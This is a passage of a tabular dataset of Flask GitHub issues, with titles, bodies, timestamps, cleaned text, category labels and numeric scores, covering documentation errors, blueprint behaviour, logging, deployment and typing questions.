1. Adding a basic script file that runs all the initial setup commands outlined in [`CONTRIBUTING.rst`](https://github.com/pallets/flask/blob/main/CONTRIBUTING.rst#first-time-setup) along with the `pip install coverage` command
2. Adding a [`devcontainer.json`](https://docs.github.com/en/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers) that
    - Specifies the `PostCreateCommand` which runs the new script file at initial codespace creation
    - Species the `PostStartCommand` to activate the user's `venv` each time the codespace is started
    - Optionally installs any additional codespace customizations and/or recommended extensions
3. Updating the contributing guide to accommodate GitHub Codespaces users

The end result should be that contributors can simply click the ""Create codespace in..."" button in the Code dropdown to instantly create a code-ready development environment.

<img width=""434"" alt=""image"" src=""https://user-images.githubusercontent.com/55098699/217675579-59e2fd43-ee03-4c9b-ba3d-cfc67a518121.png"">

**What are the benefits?** 

Adding support for Codespaces means users can get setup on the project more quickly, without needing to clone their forked repository to a local machine or manually run initial setup commands. This w... [TRUNCATED]",,2023-02-08 23:50:41+00:00,2023-04-13 17:03:51+00:00,5,nan,63.7175,support using github codespaces by adding a devcontainer what will this do the goal is to support the use of github codespaces for contributors this will involve adding a basic script file that runs all the initial setup commands outlined in along with the command adding a that specifies the which runs the new script file at initial codespace creation species the to activate the user s each time the codespace is started optionally installs any additional codespace customizations and or recommended extensions updating the contributing guide to accommodate github codespaces users the end result should be that contributors can simply click the create codespace in button in the code dropdown to instantly create a code ready development environment img width alt image src what are the benefits adding support for codespaces means users can get setup on the project more quickly without needing to clone their forked repository to a local machine or manually run initial setup commands this w truncated,help,0.9538
pallets/flask,1575244679,docs show test_request_context data setting request args.,"The `data` arg in `app.test_request_context()` is shown in the docs to set the request args, but as far as I can tell it isn't doing so.

I ran a minimal version of the [example in the docs](https://flask.palletsprojects.com/en/2.2.x/reqcontext/#manually-push-a-context)
```python
from flask import Flask, request
app = Flask(""test_app"")
def generate_report():
    format = request.args.get('format')
    print(format) # --> None

with app.test_request_context(
        '/make_report/2017', data={'format': 'short'}):
    generate_report()
```
The docs use `request.args.get('format')` which certainly implies that the data argument set there should set a request arg. But the code above just prints None. 

I assume that `data` in the example should be changed to `query_string` and that the `query_string` arg should be added to the docs [here](https://flask.palletsprojects.com/en/2.2.x/api/#flask.Flask.test_request_context)


Environment:

- Python version: 3.10 and 3.11
- Flask version: 2.2.2
",docs,2023-02-08 00:28:46+00:00,2023-02-10 18:53:39+00:00,5,docs,2.7673,docs show test request context data setting request args the arg in is shown in the docs to set the request args but as far as i can tell it isn t doing so i ran a minimal version of the example in the docs the docs use which certainly implies that the data argument set there should set a request arg but the code above just prints none i assume that in the example should be changed to and that the arg should be added to the docs here environment python version and flask version,feature,-0.0387
pallets/flask,1572920629,Transactional tests,"It would be good if flask-smorest could support that end-to-end tests via the REST API can be made transactional, i.e. that I can do a `rollback()` after the tests are finished and the database is therefore not touched.
",,2023-02-06 16:48:47+00:00,2023-02-06 16:51:27+00:00,1,nan,0.0019,transactional tests it would be good if flask smorest could support that end to end tests via the rest api can be made transactional i e that i can do a after the tests are finished and the database is therefore not touched,others,0.6808
pallets/flask,1562216271,ipv6 address not accessible,"Hi,
I want to run the server on ipv6 address. I can see the port used by ipv6 address, however when called, it does not respond.

1) app.run(host='::', port=5000)
2) python -m flask run -h ::
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (::)
 * Running on http://[::1]:5000
 * Running on http://[2003:c6:4f1f:cd00:e4b0:a972:fdbb:ac6a]:5000

output of netstate
tcp6       0      0 :::5000                 :::*                    LISTEN      64170/python

Does not work for ipv6, works for ipv4 however.

Environment:

- Python version:3.8.10
- Flask version:.2.2.2
",,2023-01-30 11:03:53+00:00,2023-01-30 14:10:58+00:00,1,nan,0.1299,ipv address not accessible hi i want to run the server on ipv address i can see the port used by ipv address however when called it does not respond app run host port python m flask run h debug mode off warning this is a development server do not use it in a production deployment use a production wsgi server instead running on all addresses running on running on output of netstate tcp listen python does not work for ipv works for ipv however environment python version flask version,others,-0.3863
pallets/flask,1557458689,Why do docs recommend opening/closing sqlite3 connection for each request?,"In [this page](https://flask.palletsprojects.com/en/2.2.x/patterns/sqlite3/) the Flask docs present opening and closing a connection per request as the ""official"" way of working with sqlite3.

This does not make sense to me - surely opening and closing connections has some overhead, which can be avoided if a connection is shared across an entire application. Perhaps this overhead is negligible here, but I still couldn't get over it.

The problem is that a global connection created with `sqlite3.connect(DATABASE)` will raise an `Objects created in a thread can only be used in that same thread` error, due to the way (I assume) Flask processes web requests in worker threads.

As it turns out and [as explained here](https://ricardoanderegg.com/posts/python-sqlite-thread-safety/) this can be safely resolved by creating the connection with `sqlite3.connect(DATABASE, check_same_thread=False)` instead, as long as `sqlite3.threadsafety == 3` (the available variant of sqlite3 is in serialized mode).

Given this information, shouldn't the documentation suggest a global shared connection as the standard way of working with sqlite3?",,2023-01-26 00:38:41+00:00,2023-01-26 00:51:46+00:00,4,nan,0.0091,why do docs recommend opening closing sqlite connection for each request in this page the flask docs present opening and closing a connection per request as the official way of working with sqlite this does not make sense to me surely opening and closing connections has some overhead which can be avoided if a connection is shared across an entire application perhaps this overhead is negligible here but i still couldn t get over it the problem is that a global connection created with will raise an error due to the way i assume flask processes web requests in worker threads as it turns out and as explained here this can be safely resolved by creating the connection with instead as long as the available variant of sqlite is in serialized mode given this information shouldn t the documentation suggest a global shared connection as the standard way of working with sqlite,feature,0.836
pallets/flask,1551848735,Edit README.rst in examples/tutorial,"When trying to run the following command from README.rst:

$ flask --app flaskr run --debug

Receive the following message:
Usage: flask run [OPTIONS]
Try 'flask run --help' for help.
Error: No such option: --debug (Possible options: --debugger, --no-debugger)

It is needed to correct the command to:

$ flask --app flaskr run

To recieve the following (correct) message:
* Serving Flask app 'flaskr'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
Running on http://127.0.0.1:5000
Press CTRL+C to quit

Environment:

- Python version: 3.11.1
- Flask version: 2.2.2
",,2023-01-21 16:38:19+00:00,2023-01-21 16:47:16+00:00,2,nan,0.0062,edit readme rst in examples tutorial when trying to run the following command from readme rst flask app flaskr run debug receive the following message usage flask run options try flask run help for help error no such option debug possible options debugger no debugger it is needed to correct the command to flask app flaskr run to recieve the following correct message serving flask app flaskr debug mode off warning this is a development server do not use it in a production deployment use a production wsgi server instead running on press ctrl c to quit environment python version flask version,documentation,-0.5267
pallets/flask,1550162820,[docs] clarify that Blueprint.before_request is not for all requests,"# Summary

[The documentation for `Blueprint.before_request`](https://flask.palletsprojects.com/en/2.2.x/api/?highlight=before_request#flask.Blueprint.before_request) says:

> Register a function to run before each request.

This is not quite true. This decorator will only register a function to be run before each request *for this blueprint's views*. 
The documentation today made it seem to me like `before_request` does what `before_app_request` does.

I think the docs should be amended to qualify when the registered functions get run, and link/compare to `before_app_request`. 

I know it seems like overkill, and you're probably wondering why I didn't notice the documentation for `before_app_request` right above this. I'd clicked on an anchor from search results, so `before_app_request` was off-screen. Since `before_app_request` doesn't exist on a `Flask` object, and since the documentation for `before_request` sounded like what I wanted, it didn't occur to me to scroll up.

# MWE

Just to clarify the example:

This code fails with `before_request`, and succeeds with `before_app_request`:

```
from flask import Blueprint, Flask

simple_page = Blueprint('simple_page', __name__)

@simple_page.route('/')
def show():
    return (""Hello world"", 200)

hook_bp = Blueprint('decorator', __name__)

# global var to be mutated
count = {'count': 0}

@hook_bp.before_request
def before_request():
    print(""before_request hook called"")
    count['count']... [TRUNCATED]",docs,2023-01-20 00:45:25+00:00,2023-02-10 18:42:55+00:00,0,docs,21.7483,docs clarify that blueprint before request is not for all requests summary the documentation for says register a function to run before each request this is not quite true this decorator will only register a function to be run before each request for this blueprint s views the documentation today made it seem to me like does what does i think the docs should be amended to qualify when the registered functions get run and link compare to i know it seems like overkill and you re probably wondering why i didn t notice the documentation for right above this i d clicked on an anchor from search results so was off screen since doesn t exist on a object and since the documentation for sounded like what i wanted it didn t occur to me to scroll up mwe just to clarify the example this code fails with and succeeds with from flask import blueprint flask simple page blueprint simple page name simple page route def show return hello world hook bp blueprint decorator name global var to be mutated count count hook bp before request def before request print before request hook called count count truncated,feature,0.6543
pallets/flask,1537843275,redirection loop in wsgi middleware and @app.before_request,"Hi,

just want to ask if this is right or this is a bug or what is your fix for this. I am trying to use the redirect() inside the @app.before_request it does not throw an error but it loops the redirect in the browser. 

```python
@app.before_request
def before_request():
        return app.redirect('/about')  
```

and this also happen in wsgi middleware i use header location to redirect

```python
class GlobalMiddleware():
	def __init__(self, app):
		self.app = app

	def __call__(self, environ, start_response):
		msg = {'msg': 'Authorization failed'}

		res = Response(json.dumps(msg), mimetype='application/json', status=302)
		res.headers['Location'] = '/about'
		return res(environ, start_response)
```
```python
app.wsgi_app = GlobalMiddleware(app.wsgi_app)
```

here is the pic in the browser
[pic 1](https://ibb.co/0CHBJfK)
[pic 2](https://ibb.co/ZXwRG3S)

the loop happen in the browser and it goes on and on until the browser stop and throw an error
btw i use flask 2.2.2 and python 3.11.1",,2023-01-18 11:34:02+00:00,2023-01-18 13:04:56+00:00,1,nan,0.0631,redirection loop in wsgi middleware and app before request hi just want to ask if this is right or this is a bug or what is your fix for this i am trying to use the redirect inside the app before request it does not throw an error but it loops the redirect in the browser and this also happen in wsgi middleware i use header location to redirect here is the pic in the browser pic pic the loop happen in the browser and it goes on and on until the browser stop and throw an error btw i use flask and python,feature,0.264
pallets/flask,1535647456,Switch from `setup.py` to `pyproject.toml`?,"Now that https://github.com/dependabot/dependabot-core/issues/3290 has shipped, it should be possible to replace this:
https://github.com/pallets/flask/blob/9da947a279d5ed5958609e0b6ec690160c496480/setup.py#L3-L17

with a `pyproject.toml` file... allowing you to completely drop `setup.py`.

Curious why you chose not to do that yet?",,2023-01-17 01:08:33+00:00,2023-01-20 21:55:01+00:00,3,nan,3.8656,switch from to now that has shipped it should be possible to replace this with a file allowing you to completely drop curious why you chose not to do that yet,others,0.0478
pallets/flask,1531522512,Blueprint 404 handlers are not invoked for Blueprints with an empty name,"The docs suggest that, if a blueprint's view function calls `abort(404)`, the blueprint's `errorhandler(404)` will be called:
https://github.com/pallets/flask/blob/9da947a279d5ed5958609e0b6ec690160c496480/docs/errorhandling.rst#L397-L399
However, that does not seem to be the case:
``` python
# sscce.py

from flask import Flask, Blueprint, abort

app = Flask(__name__)
blueprint = Blueprint("""", __name__)


@blueprint.route(""/"")
def router():
    abort(404)


@blueprint.errorhandler(404)
def handler(e):
    return ""it worked"", 404


if __name__ == ""__main__"":
    app.register_blueprint(blueprint)
    response = app.test_client().get(""/"")
    assert response.text == ""it worked"", response.text
```
``` console
$ python3.8 -m venv venv
$ venv/bin/python -m pip install flask
...
Successfully installed Jinja2-3.1.2 MarkupSafe-2.1.1 Werkzeug-2.2.2 click-8.1.3 flask-2.2.2 importlib-metadata-6.0.0 itsdangerous-2.1.2 zipp-3.11.0
$ venv/bin/python sscce.py
Traceback (most recent call last):
  File ""sscce.py"", line 22, in <module>
    assert response.text == ""it worked"", response.text
AssertionError: <!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

```
This diff causes the handler to be called (but also causes the handler to be called for all views, not just those of the blueprint):
``` diff... [TRUNCATED]",,2023-01-13 00:18:42+00:00,2023-02-10 19:13:53+00:00,4,nan,28.7883,blueprint handlers are not invoked for blueprints with an empty name the docs suggest that if a blueprint s view function calls the blueprint s will be called however that does not seem to be the case this diff causes the handler to be called but also causes the handler to be called for all views not just those of the blueprint diff truncated,others,-0.1027
pallets/flask,1522023830,"UserWarning: The setup method 'add_url_rule' can no longer be called on the blueprint 'api'. It has already been registered at least once, any changes will not be applied consistently.","### Discussed in https://github.com/pallets/flask/discussions/4940

<div type='discussions-op-text'>

<sup>Originally posted by **sebvargo** January  5, 2023</sup>
Hello. I am launching a Flask app and keep getting this warning. I thought adding an app factory function and creating an app context would solve the issue, but the warning persists:

> **UserWarning:** The setup method 'add_url_rule' can no longer be called on the blueprint 'api'. It has already been registered at least once, any changes will not be applied consistently. Make sure all imports, decorators, functions, etc. needed to set up the blueprint are done before registering it.
> This warning will become an exception in Flask 2.3.
>   app_or_blueprint.add_url_rule(self.prefix or ""/"", ""root"", self.render_root)

This is my project setup:

|   main.py
+---app
|   |   __init__.py
|   |   
|   +---api
|   |   |   routes.py
|   |   |   __init__.py
|   |   |   
|   |   \---__pycache__
|   |           routes.cpython-39.pyc
|   |           __init__.cpython-39.pyc
|   |           
|   +---apidocs
|   |   |   routes.py
|   |   |   __init__.py
|   |   |   
|   +---templates
|   |   +---api
|   |   \---apidocs
|   |           home.html

**main.py**
```
from app import create_app
from dotenv import load_dotenv
import os

load_dotenv()   # load .env file into environment variables

if __name__ == '__main__':
    app = create_app()
    
    if os.getenv(""APP_ENVIRONMENT"") == ""dev""... [TRUNCATED]",,2023-01-06 06:14:21+00:00,2023-01-06 10:31:42+00:00,2,nan,0.1787,userwarning the setup method add url rule can no longer be called on the blueprint api it has already been registered at least once any changes will not be applied consistently discussed in originally posted by sebvargo january hello i am launching a flask app and keep getting this warning i thought adding an app factory function and creating an app context would solve the issue but the warning persists userwarning the setup method add url rule can no longer be called on the blueprint api it has already been registered at least once any changes will not be applied consistently make sure all imports decorators functions etc needed to set up the blueprint are done before registering it this warning will become an exception in flask app or blueprint add url rule self prefix or root self render root this is my project setup main py app init py api routes py init py pycache routes cpython pyc init cpython pyc apidocs routes py init py templates api apidocs home html main py from app import create app from dotenv import load dotenv import os load dotenv load env file into environment variables if name main app create app if os getenv app environment dev truncated,others,-0.5065
pallets/flask,1521499524,Date HTTP header duplicated on static content,"Using `Flask 2.2.2`, it seems that serving static resources leads to a duplicate `Date` HTTP Header field.

Here is a simple snippet easy to understand and to show how to reproduce:
```python
from flask import Flask

app = Flask(__name__, static_url_path='/static')

@app.route('/', methods=['GET'])
def index():
    return ""Hello World""

app.run(port=30887)
```

Let's create a simple file inside `static` directory:
```bash
mkdir static
echo Hello > style.css
```

Now let's check HTTP headers:
```http
maxux@workx0 ~ $ curl -I http://127.0.0.1:30887
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 21:53:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 11
Connection: close
```
All good here.

```http
maxux@workx0 ~ $ curl -I http://127.0.0.1:30887/static/style.css
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Thu, 05 Jan 2023 21:53:53 GMT                <<<<
Content-Disposition: inline; filename=style.css
Content-Type: text/css; charset=utf-8
Content-Length: 6
Last-Modified: Thu, 05 Jan 2023 21:50:59 GMT
Cache-Control: no-cache
ETag: ""1672955459.103843-6-1459357711""
Date: Thu, 05 Jan 2023 21:53:53 GMT                <<<<
Connection: close
```
You can see `Date` header twice, for a static content response.

In addition, you can see python and Flask running version in the response as well to confirm running version.

This was spotted using nginx on front which complains (by a war... [TRUNCATED]",,2023-01-05 21:56:50+00:00,2023-01-05 22:00:13+00:00,1,nan,0.0023,date http header duplicated on static content using it seems that serving static resources leads to a duplicate http header field here is a simple snippet easy to understand and to show how to reproduce let s create a simple file inside directory now let s check http headers all good here you can see header twice for a static content response in addition you can see python and flask running version in the response as well to confirm running version this was spotted using nginx on front which complains by a war truncated,others,0.2732
pallets/flask,1515009635,Unable to unlock Console after file reloading in debug mode,"### Content
Unable to unlock Console after file reloading in debug mode

### Reproduce
```python
from flask import request,Flask
app=Flask(__name__)
@app.route('/err')
def err():
    return 1/0
app.run(debug=True)
```
1. Save the code to a file, run it
2. Open `http://127.0.0.1:5000/err` for the error page
3. Make some minor changes(e.g., spaces, comments) to the file and save, trigger a hot reload
4. Don't refresh the page opened before, click `Open an interactive python shell in this frame` at the right of `return 1/0`.
5. Enter any PIN, got an `Error: Could not verify PIN.  Network error?`

### Expect
the PIN verification should behave properly.

### Traceback
```
D:\>python flt.py
 * Serving Flask app 'flt'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with watchdog (windowsapi)
 * Debugger is active!
 * Debugger PIN: 974-140-517
127.0.0.1 - - [31/Dec/2022 13:10:25] ""GET /err HTTP/1.1"" 500 -
Traceback (most recent call last):
  File ""C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py"", line 2548, in __call__
    return self.wsgi_app(environ, start_response)
  File ""C:\Users\Administrator\AppData\Local\Programs\Python\Python310\lib\site-packages\flask\app.py"", line 2528, in wsgi_app
    response = self.handle_exception(e)
  File ""C:\U... [TRUNCATED]",,2022-12-31 05:14:43+00:00,2022-12-31 06:46:12+00:00,1,nan,0.0635,unable to unlock console after file reloading in debug mode content unable to unlock console after file reloading in debug mode reproduce save the code to a file run it open for the error page make some minor changes e g spaces comments to the file and save trigger a hot reload don t refresh the page opened before click at the right of enter any pin got an expect the pin verification should behave properly traceback d python flt py serving flask app flt debug mode on warning this is a development server do not use it in a production deployment use a production wsgi server instead running on press ctrl c to quit restarting with watchdog windowsapi debugger is active debugger pin dec get err http traceback most recent call last file c users administrator appdata local programs python python lib site packages flask app py line in call return self wsgi app environ start response file c users administrator appdata local programs python python lib site packages flask app py line in wsgi app response self handle exception e file c u truncated,bug,0.5719
pallets/flask,1513879858,"Documentation: ""flask --app hello run --debug""  no longer works","The vanilla command to activate the development server is documented as:

$ flask --app hello run --debug 

on 

https://flask.palletsprojects.com/en/2.2.x/server/   copyright 2010 (Really, no changes since 2010?)

no longer works.  Specifically the '--debug' option seems to be obsolete.

$ flask run --help     says use

--debugger / --no-debugger  and strongly implies that the debugger is on by default (although there is room for a different interpretation).

The web page and help are not aligned.


Replication:

$ flask --app flasker run --debug    produces an error

$ flask --app flaskr run --debugger   starts the development server.

I did not check if the debugger is on by default


Describe the expected behavior that should have happened but didn't:

Per https://flask.palletsprojects.com/en/2.2.x/server/  

$ flask --app hello run --debug

should start the development server.


Environment:

- Python version: 3.11.0
- Flask version:  2.2.2
- Werkzeug: 2.2.2
- Windows: Microsoft Windows 11 Pro, 10.0.22623 Build 22623",,2022-12-29 16:25:14+00:00,2022-12-29 17:44:27+00:00,1,nan,0.055,documentation flask app hello run debug no longer works the vanilla command to activate the development server is documented as flask app hello run debug on copyright really no changes since no longer works specifically the debug option seems to be obsolete flask run help says use debugger no debugger and strongly implies that the debugger is on by default although there is room for a different interpretation the web page and help are not aligned replication flask app flasker run debug produces an error flask app flaskr run debugger starts the development server i did not check if the debugger is on by default describe the that should have happened but didn t per flask app hello run debug should start the development server environment python version flask version werkzeug windows microsoft windows pro build,bug,-0.4118
pallets/flask,1513879653,Testing with authenticated and anonymous client at the same time gives mixed results,"I want to test the unauthenticated endpoints of my application, after creating an authentication-required resource, and I am getting that the anonymous client is actually authenticated :-/.

```python
import pytest

@pytest.fixture(scope=""module"")
def app():
    app = create_app()
    app.test_client_class = APIAwareFlaskLoginClient
    yield app

@pytest.fixture
def client(app):
    with app.test_client() as client:
        yield client

@pytest.fixture
def authenticated_client(app):
    with app.test_client() as client:
        client.post(""/api/auth/login"", json=dict())
        yield client

@pytest.fixture
def create_resources(authenticated_client):
    response = authenticated_client.post('/api/myresource', json=dict())
    return response

def test_participant_not_logged_in(client, create_study):
    study_id = create_study.json['id']

    questions_response = client.get(f'/api/studies/{study_id}/questions')
    assert questions_response.status_code == 401
```
 The test test_participant_not_logged_in should fail because the client is not authenticated. When breaking on the first statement of that function I verify that the cookie jar of the client is empty (so, is not authenticated), but when hitting the url with the get... it comes as authenticated. How is this possible? I have been looking around and cannot explain this behavior. Am I doing something wrong, or this is a bug?


Environment:

- Python version: 3.10.8
- Flask versio... [TRUNCATED]",,2022-12-29 16:24:57+00:00,2022-12-29 17:42:55+00:00,3,nan,0.0541,testing with authenticated and anonymous client at the same time gives mixed results i want to test the unauthenticated endpoints of my application after creating an authentication required resource and i am getting that the anonymous client is actually authenticated the test test participant not logged in should fail because the client is not authenticated when breaking on the first statement of that function i verify that the cookie jar of the client is empty so is not authenticated but when hitting the url with the get it comes as authenticated how is this possible i have been looking around and cannot explain this behavior am i doing something wrong or this is a bug environment python version flask versio truncated,others,-0.8689
pallets/flask,1511186133,Docs are incorrect about how to run a debug server,"> Python 3.9.13
> Flask 2.2.2
> Werkzeug 2.2.2
> 

The docs, in more than one place:

* https://flask.palletsprojects.com/en/2.2.x/quickstart/#debug-mode
* https://flask.palletsprojects.com/en/2.2.x/server/#command-line

say to run `flask run --debug` but that doesn't actually work:

```
Usage: flask run [OPTIONS]
Try 'flask run --help' for help.

Error: No such option: --debug (Possible options: --debugger, --no-debugger)
```
You need to run `flask --debug run `


",,2022-12-26 19:42:53+00:00,2022-12-26 20:26:00+00:00,1,nan,0.0299,docs are incorrect about how to run a debug server python flask werkzeug the docs in more than one place say to run but that doesn t actually work you need to run,bug,0.0
pallets/flask,1509240761,flask does not return json,"https://stackoverflow.com/questions/74690796/python-flask-request-get-json-returns-none-but-request-is-json

<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
for whatever reason, flask decided that the request is not json and returns None instead of the json data
<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->
not sure
<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3,10,7
- Flask version: 2.1.7
",,2022-12-23 11:33:08+00:00,2022-12-23 11:36:13+00:00,2,nan,0.0021,flask does not return json this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is for whatever reason flask decided that the request is not json and returns none instead of the json data describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception not sure describe the that should have happened but didn t environment python version flask version,others,-0.5968
pallets/flask,1509238039,Flask stops responding to requests if Process Pool exhausted,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
If there are more pending requests than the number of processes available for one client to process requests and the backend code runs forever or for a long time, flask won't respond to other requests. A typical response would be 500 - or it could start creating more processes, killing those that aren't working or at least inform the programmer.
<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

You can easily replicate this bug by adding a route with the following code

```
def buggycode():
  import time
  while True:
     time.sleep(30)

```
<!--
Describe the expected behavior that should have happened but didn't.
-->



Environment:

- Python version: 3.10.7
- Flask version: 2.1.3
",,2022-12-23 11:30:03+00:00,2022-12-23 11:38:12+00:00,3,nan,0.0057,flask stops responding to requests if process pool exhausted this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is if there are more pending requests than the number of processes available for one client to process requests and the backend code runs forever or for a long time flask won t respond to other requests a typical response would be or it could start creating more processes killing those that aren t working or at least inform the programmer describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception you can easily replicate this bug by adding a route with the following code describe the that should have happened but didn t environment python version flask version,feature,-0.6693
pallets/flask,1506699051,Logging bug when two Flask apps are initialized,"I encountered a strange log related bug in the unit tests of a project I am working on. Here is the most minimalist snippet I could write to reproduce the bug.

The `run` method configures logs to be saved in a file, initializes an empty Flask application produces one log entry. The snippet runs the method twice, with two different log paths. The first time the method is ran, a log is actually produced in the expected log file, but not the second time.

```python
import os
import logging.config

from flask import Flask


def run(log_path):
    logging.config.dictConfig(
        {
            ""version"": 1,
            ""formatters"": {
                ""default"": {
                    ""format"": ""%(message)s"",
                }
            },
            ""handlers"": {
                ""default"": {
                    ""class"": ""logging.FileHandler"",
                    ""filename"": log_path,
                    ""formatter"": ""default"",
                },
            },
            ""root"": {""level"": ""DEBUG"", ""handlers"": [""default""]},
        }
    )

    app = Flask(__name__)
    app.logger.info(""FOOBAR"")

    with open(log_path) as fd:
        assert fd.read(), ""log file is empty""

    os.remove(log_path)


run(""/tmp/firstlog.txt"")
run(""/tmp/secondlog.txt"")
```

```python
Traceback (most recent call last):
  File ""/path/to/flask_logging.py"", line 37, in <module>
    run(""/tmp/secondlog.txt"")
  File ""/path/to/flask_logging.py"", line 31, i... [TRUNCATED]",,2022-12-21 17:49:49+00:00,2022-12-24 21:29:54+00:00,1,nan,3.1528,logging bug when two flask apps are initialized i encountered a strange log related bug in the unit tests of a project i am working on here is the most minimalist snippet i could write to reproduce the bug the method configures logs to be saved in a file initializes an empty flask application produces one log entry the snippet runs the method twice with two different log paths the first time the method is ran a log is actually produced in the expected log file but not the second time python traceback most recent call last file path to flask logging py line in run tmp secondlog txt file path to flask logging py line i truncated,bug,-0.5994
pallets/flask,1498805041,Deprecation of before_first_request leads to issue with Gunicorn --preload while launching a Thread in the Setup Code,"Flask 2.2.2 has deprecated `before_first_request`, advising us to instead run the setup code in the the factory function that creates the `app`.

I've found a case where this solution does not work. The prerequisite is that the application is launched from Gunicorn with the `--preload` option, and that you want to have a global variable which is shared among all the workers/threads.

Running generic setup code results in the memory of the global variable apparently not being shared, while running the code in `before_first_request` behaves according to expectations.

-----

Here is the code to reproduce.

It has a global variable called `global_list`. There is a thread that is supposed to be launched in the setup code that append values onto the global variable. A GET API will return the result of the global variable.

When using `before_first_request`, it runs as expected. Calling GET will return the populated values in the list.

When using independent setup code, the global variable is not global and is not shared.

```
from flask import Flask, Blueprint
import threading
import time

global_list = []

bp = Blueprint('hello', __name__)


@bp.get('/')
def home():
    return global_list


def create_app():
    app = Flask(__name__)
    app.register_blueprint(bp)
    run_setup_code()
    # this works fine but is deprecated in 2.2.2
    # app.before_first_request(run_setup_code)
    return app


def run_setup_code():
    t = threading.Thr... [TRUNCATED]",,2022-12-15 17:13:53+00:00,2022-12-15 18:05:30+00:00,1,nan,0.0358,deprecation of before first request leads to issue with gunicorn preload while launching a thread in the setup code flask has deprecated advising us to instead run the setup code in the the factory function that creates the i ve found a case where this solution does not work the prerequisite is that the application is launched from gunicorn with the option and that you want to have a global variable which is shared among all the workers threads running generic setup code results in the memory of the global variable apparently not being shared while running the code in behaves according to expectations here is the code to reproduce it has a global variable called there is a thread that is supposed to be launched in the setup code that append values onto the global variable a get api will return the result of the global variable when using it runs as expected calling get will return the populated values in the list when using independent setup code the global variable is not global and is not shared from flask import flask blueprint import threading import time global list bp blueprint hello name bp get def home return global list def create app app flask name app register blueprint bp run setup code this works fine but is deprecated in app before first request run setup code return app def run setup code t threading thr truncated,bug,0.8678
pallets/flask,1495193884,API Docs: typo in `tojson` example,"API Documentation since 2.0.x has included a typographical error in the code example for using the `tojson` filter in a Jinja template:

```
<script>
    const names = {{ names|tosjon }};
    renderChart(names, {{ axis_data|tojson }});
</script>
```

`names|tosjon` should be `names|tojson`

The first documentation version this occurs is in `2.0.x`, and it continues to occur through the current `latest`.
",,2022-12-13 21:34:14+00:00,2022-12-14 00:36:16+00:00,1,nan,0.1264,api docs typo in example api documentation since x has included a typographical error in the code example for using the filter in a jinja template should be the first documentation version this occurs is in and it continues to occur through the current,documentation,-0.4588
pallets/flask,1489233719,"Type of SessionMixin underspecified, flask.session.get() fails strict type-check","To reproduce:
```python
from flask import session

session.get(""foo"")
```
Produces a pyright/Pylance error in VSCode in strict typing mode:
```
Type of ""get"" is partially unknown
  Type of ""get"" is ""Overload[(__key: Unknown, /) -> (Unknown | None), (__key: Unknown, /, default: Unknown | _T@get) -> (Unknown | _T@get)]""Pylance[reportUnknownMemberType]
```
`mypy --strict` doesn't seem to mind, but it also accepts `session.get({""a"": 7})` without complaint, so perhaps not a good measure.

Changing the offending line like this fixes the problem:
```python
cast(MutableMapping[str, Any], session).get(""foo"")
```

Based on this observation I changing this line in the `SessionMixin` declaration, which also fixes the problem:
https://github.com/pallets/flask/blob/main/src/flask/sessions.py#L21
```python
# --- from ---
class SessionMixin(MutableMapping):

# --- to ---
class SessionMixin(MutableMapping[t.Hashable, t.Any]):
```

I'm not sure if I've gotten those types exactly right, I believe they are the broadest possible types, but perhaps keys are limited to `str` or values could be narrowed.

Happy to submit a pull request if that's a help. Thanks so much for Flask, it is an immensely important contribution to the Python ecosystem I make my living in :)

Environment:

- Python version: 3.10.7
- Flask version: 2.2.2
",typing,2022-12-11 01:24:08+00:00,2023-01-05 16:21:58+00:00,1,typing,25.6235,type of sessionmixin underspecified flask session get fails strict type check to reproduce produces a pyright pylance error in vscode in strict typing mode doesn t seem to mind but it also accepts without complaint so perhaps not a good measure changing the offending line like this fixes the problem based on this observation i changing this line in the declaration which also fixes the problem i m not sure if i ve gotten those types exactly right i believe they are the broadest possible types but perhaps keys are limited to or values could be narrowed happy to submit a pull request if that s a help thanks so much for flask it is an immensely important contribution to the python ecosystem i make my living in environment python version flask version,others,0.6104
pallets/flask,1479781149,JavaScript file upload,"Hello,

I'm trying to upload files to Flask using Javascript. On [this page](https://flask.palletsprojects.com/en/2.2.x/patterns/fileuploads/) I can read how to do that with an HTML form. However I'm not able to do the same with pure JavaScript.

To replicate:
```
const form = new FormData();
const files = document.getElementById('media-files').files;
for (let i = 0; i < files.length; i++) {
    form.append(`file[${i}]`, files[i]);
}
await fetch('/api/v1/media', {
    method: 'POST',
    body: form,
    headers: {'Content-Type': 'multipart/form-data'}
});
```

In Flask `request.data` is not empty. But `request.files` and `request.form` are.

Any help would be greatly appreciated.

Environment:
- Python version: 3.11
